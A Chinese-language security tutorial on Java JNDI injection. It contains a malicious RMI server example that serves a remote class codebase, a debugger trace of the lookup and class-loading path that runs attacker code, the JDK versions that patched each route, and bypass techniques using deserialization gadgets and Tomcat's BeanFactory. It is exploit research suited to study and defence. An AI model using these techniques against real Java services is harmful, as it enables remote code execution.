JNDI注入
简介
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
这些命名/目录服务提供者:
- RMI (JAVA远程方法调用)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象请求代理体系结构)
- DNS (域名服务)
具体可参考官方文档,这里不在多叙述
JNDI+RMI利用
JNDI+RMI在JDK8u121之前可利用,而JNDI+LDAP在JDK8u191之前可以,因两者利用流程相似,故这里只分析JNDI-RMI
服务端代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(1080);
Reference reference = new Reference("Test", "Test", "http://127.0.0.1:8000/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
System.out.println("start");
}
}
然后将恶意类Test.class放到服务器上,我这里使用python本地起了一个http服务
然后客户端发起lookup请求
触发恶意代码,弹出计算器
流程分析
在客户端调用的lookup方法打断点进行调试
首先会调用InitialContext#lookup()方法,这里会根据协议头调用不同的lookup()方法
getURLOrDefaultInitCtx函数会分析name的协议头返回对象协议的环境对象,这里会返回rmiURLContext
接着会调用rmiURLContext的父类GenericURLContext中的的lookup方法,此方法最终会调用JNDI中处理rmi的RegistryContext中的lookup方法
接着跟进,会发现其调用了RegistryImpl_Stub的lookup方法,即调用了原生RMI的lookup接口,那么对rmi的攻击方法-反序列化,在这里也可以使用
很明显JNDI注入不会仅仅如此,我们接着往下看,this.registry.lookup()会返回一个ReferenceWrapper_stub()对象,这个对象显然就是我们服务端绑定的ReferenceWrapper,而它是经过编码的
接着调用com.sun.jndi.rmi.registry.RegistryContext#decodeObject()进行解码,会进入NamingManager.getObjectInstance方法,此方法为静态方法,且位于一个公共的类javax.naming.spi.NamingManager,目前为止,我们的恶意类还并没有被加载,但已经走出了JNDI对rmi处理的RegistryContext类,借此可绕过后续官方对jndi-rmi的修复
而在此方法中,调用了getObjectFactoryFromReference()方法,去获取对象工厂
我们跟进去看一下,其首先会尝试在本地进行一个类加载
这个loadClass使用的是APPClassLoader,显然它是加载不到的
接着往下走,如果前面没有加载到,这里就会尝试从远程地址(codebase)进行类加载
这里会实例化一个URLClassLoader从指定的url中去进行类加载
这是一个进行初始化的类加载,那么静态代码块static中的代码将会被执行
继续往下走,会实例化获取到的远程对象,此时类中的构造方法会被执行
上面两处均可触发我们构造的恶意代码
版本修复
-
JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,修复了JNDI中RMI引用类远程加载,但存在别的利用方式
-
JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true,修复了JNDI中RMI动态类加载
-
JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false,修复了JNDI中LDAP的引用类远程加载
高版本绕过
那么在JAVA高版本默认禁止引用类远程加载之后,JNDI注入还能如何利用呢?
既然不能远程加载恶意类,那我们可以尝试利用其本地的环境,这里还有两种利用方式,都非常依赖受害者本地中的环境,需要利用受害者本地的Gadget进行攻击:
- 反序列化
- 本地工厂类
反序列化
利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。利用限制就是需要本地有反序列化
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
}
本地工厂类
既然在高版本中不能冲远程加载恶意工厂类,那我们可以尝试加载目标本地的恶意工厂类,但是这个恶意工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。
BeanFactory
org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。